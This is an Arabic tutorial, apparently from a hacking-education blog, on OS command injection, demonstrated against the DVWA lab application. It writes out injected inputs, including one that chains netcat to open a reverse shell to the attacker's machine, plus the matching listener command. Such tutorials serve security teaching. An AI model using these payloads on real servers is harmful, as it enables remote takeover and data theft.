Hacking Minions

هجمة command injection وتنفيذ أوامر النظام على السيرفر

سنتحدث في هذا الموضوع عن هجمة command injection وأسباب حدوثها وطرق استكشافها والخطر منها.

ثغرة command injection هي ثغرة تمكّن الهاكر من تنفيذ أوامر النظام الذي يعمل به السيرفر المستضيف للصفحة، ومن خلال هذه الهجمة نستطيع إحداث الكثير من التغييرات، كما نستطيع استعراض الملفات والتجوّل بينها.. وغيرها من الاستغلالات التي ستتضح خلال الشرح.

أسباب حدوث الثغرة:

تعود أسباب حدوث الثغرة إلى عدم وجود فلاتر للمدخلات التي يدخلها المستخدم، بالإضافة إلى عدم تحديد صلاحيات تطبيق الويب المتضرر من الثغرة حيث يتمكّن المهاجم من تنفيذ أي أمر يريد تنفيذه بعكس ما إذا كان هناك تحديد للصلاحيات حيث لا يستطيع مثلًا إلا تنفيذ الأمر ping أو cat فقط حسب وظيفة خانة الإدخال المتضررة.

طرق استكشاف الثغرة:

لاستكشاف هذا النوع من الثغرات يتوجب عليك إيجاد تطبيق يستخدم خواص موجه الأوامر (Terminal) لتجربة الهجمة واكتشاف الثغرة باتباع الطرق التالية:

أولًا: نقوم بالبحث عن تطبيق يستخدم خواص موجه الأوامر كما ذكرنا سابقًا، وذلك إما عن طريق معرفة وظيفة التطبيق أو البحث في السورس كود عن سكربتات يوجد بها أوامر تستخدم الـTerminal الخاص بالسيرفر.

في هذا المثال سنستخدم تطبيق DVWA كهدف وسنطبّق عليه الهجمة.

هنا يوفّر التطبيق للمستخدمين إمكانية القيام بـping لأي عنوان IP واختبار اتصاله بالشبكة، وping هو أمر في النظام يقوم بعملية اختبار اتصال العنوان بالإنترنت من عدمه عن طريق إرسال packets وانتظار الحصول على استجابة من قبل السيرفر صاحب العنوان المختبر، وذلك يعني أن التطبيق سيقوم بتنفيذ الأمر عن طريق السيرفر مباشرة وبذلك نحدد إمكانية استغلال الخاصية وتنفيذ الهجمة أم لا.

سيتوجب عليك معرفة بعض الـstatements في لغات الـjavascript وphp لكي تستطيع تحديد الخواص المستخدمة، ولكن لا داعي للقلق فبإمكانك البحث عن الـstatements في الإنترنت ومعرفة هل الخاصية المستخدمة في التطبيق تنفّذ أوامر النظام أم لا.

طرق استغلال وتنفيذ الهجمة:

سنبدأ الآن بتنفيذ هجمة command injection واستعراض الطرق والاستغلالات التي يمكن تنفيذها وتحقيق أكبر استفادة من تنفيذ الهجمة.

الاستغلال الأول:

بدايةً نقوم بتشغيل السيرفر الهدف.

ثم نقوم باختبار أي IP للتأكد من عمل التطبيق بالشكل الصحيح.

عند رؤية هذه النتائج فهذا دليل على نجاح الاختبار.

بعد ذلك نحاول أن نقوم بتغيير عدد الـPackets المرسلة.

نلاحظ أن السكربت يستخدم الخيار -c والذي يتحكم بتوقف عملية الـping بتحديد وقت التوقف بعد الحصول على عدد معين من الاستجابات.

والآن نحاول تغيير ذلك الخيار عن طريق كتابة الأمر ;ping -c 9 IP; حيث سيتم إغلاق الأمر الأساسي بدون إدخال قيمة ثم إلحاقه بأمر ping آخر بتحديد وقت التوقف بعد الحصول على 9 استجابات.

تم تنفيذ الأمر بنجاح.

الاستغلال الثاني:

سنقوم الآن بتحقيق أقصى استفادة من الهجمة حيث سنحاول فتح shell في السيرفر والتحكم به كاملًا.

كما نعلم، عندما نريد تنفيذ أكثر من أمر في وقت واحد داخل تيرمنال واحد، نقوم باستخدام العلامات “&&” أو “||”، نقوم بتجربة ذلك:

أولًا: ندخل أي عنوان IP نريد اختبار اتصاله، ثم العلامة “&&” ثم الأمر pwd لطباعة المسار الذي يوجد فيه الموقع أو التطبيق في السيرفر.

نشاهد النتيجة، تم تنفيذ الأمر pwd وحصلنا على نتيجة.

والآن جاء وقت الحصول على الـshell من السيرفر، سنقوم بفتح listener في النظام الخاص بنا (المهاجم) عن طريق أداة netcat بإدخال الأمر

 netcat -lvp [PORT]  [قم باختيار أي بورت عشوائي، سنختار البورت 1337 في المثال].

سنرى أن الـlistener ينتظر وصول اتصال.

نذهب الآن إلى الصفحة المستهدفة ونقوم بإدخال عنوان IP لاختباره ثم نلحقه بأمر آخر وهو أمر إرسال اتصال إلى عنوان معين، بإدخال الأمر التالي:

8.8.8.8; netcat 192.168.1.113 1337 -e /bin/bash

سأحلل لك الأمر السابق بالتفصيل:

أولًا: قمنا بإدخال عنوان IP لاختبار اتصاله.

ثانيًا: قمنا بإغلاق الأمر ping لتنفيذه، حيث أن العلامة “;” كما ذكرنا سابقًا تعني “تنفيذ”.

ثالثًا: قمنا بإدخال الأمر netcat لاستخدام الأداة.

رابعًا: قمنا بتحديد عنوان IP الـlistener لكي يتم إرسال الإشارة إليه.

خامسًا: قمنا بتحديد البورت الذي نريد إرسال الاتصال من خلاله.

سادسًا: استخدمنا الخيار e- لكي نحدد مسار الملف الذي نريده أن يعمل تلقائيًا بعد الاتصال مباشرةً.

الصورة التالية توضح ذلك:

* ملاحظة: لم نقم بإدخال علامة “;” في نهاية الأمر وذلك لأن التطبيق يقوم بإضافتها تلقائيًا.

بعد إدخال هذا الأمر في صفحة الضحية سوف يتم تشغيله وتنفيذه وستجد أنه تم الاتصال بالـListener كما هو موضّح في الصورة التالية:

بإمكانك الآن تصفّح الملفات والتحكّم بالسيرفر حسب صلاحيات التطبيق، وإذا كانت هناك صلاحيات محدودة جدًا فبإمكانك ترقية الصلاحيات بعدّة طرق سنشرحها في المواضيع القادمة إن شاء الله.

——- انتهى الشرح ——-

 

نرحّب بجميع الأسئلة والتعليقات أسفل الموضوع!

تذكير:
كل ما يقدّمه Hacking Minions هو لأسباب تعليمية فقط ونحن غير مسؤولين أبدًا عن أي استخدام غير قانوني لأي محتوى يتم نشره.

اترك تعليقا